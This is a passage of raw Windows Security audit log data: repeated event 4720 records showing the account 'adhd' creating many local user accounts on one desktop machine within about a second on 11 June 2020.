%%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Andrea - adhd - - - 4720 - 4945 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.6400947Z'/><EventRecordID>4945</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Susan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1150</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Susan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Susan - adhd - - - 4720 - 4939 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.5578267Z'/><EventRecordID>4939</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Elizabeth</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1149</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Elizabeth</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Elizabeth - adhd - - - 4720 - 4933 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.4678166Z'/><EventRecordID>4933</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Melissa</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1148</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Melissa</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Melissa - adhd - - - 4720 - 4927 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.3765503Z'/><EventRecordID>4927</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Carolyn</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1147</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Carolyn</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Carolyn - adhd - - - 4720 - 4921 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.2949216Z'/><EventRecordID>4921</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Paul</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1146</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Paul</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Paul - adhd - - - 4720 - 4915 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.1948657Z'/><EventRecordID>4915</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Doris</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1145</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Doris</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Doris - adhd - - - 4720 - 4909 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.0468661Z'/><EventRecordID>4909</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Janet</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1144</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Janet</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Janet - adhd - - - 4720 - 4903 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.9466121Z'/><EventRecordID>4903</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Samuel</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1143</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Samuel</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Samuel - adhd - - - 4720 - 4897 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.8606671Z'/><EventRecordID>4897</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Dylan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1142</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Dylan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Dylan - adhd - - - 4720 - 4891 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.7848945Z'/><EventRecordID>4891</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jordan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1141</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jordan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jordan - adhd - - - 4720 - 4885 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.6851157Z'/><EventRecordID>4885</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Janice</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1140</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Janice</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Janice - adhd - - - 4720 - 4879 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.6070834Z'/><EventRecordID>4879</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Angela</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1139</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Angela</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Angela - adhd - - - 4720 - 4873 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.5242420Z'/><EventRecordID>4873</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Marie</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1138</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Marie</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Marie - adhd - - - 4720 - 4867 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.4501905Z'/><EventRecordID>4867</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Richard</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1137</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Richard</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Richard - adhd - - - 4720 - 4861 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.3657489Z'/><EventRecordID>4861</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Dorothy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1136</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Dorothy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Dorothy - adhd - - - 4720 - 4855 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.2860828Z'/><EventRecordID>4855</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ryan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data 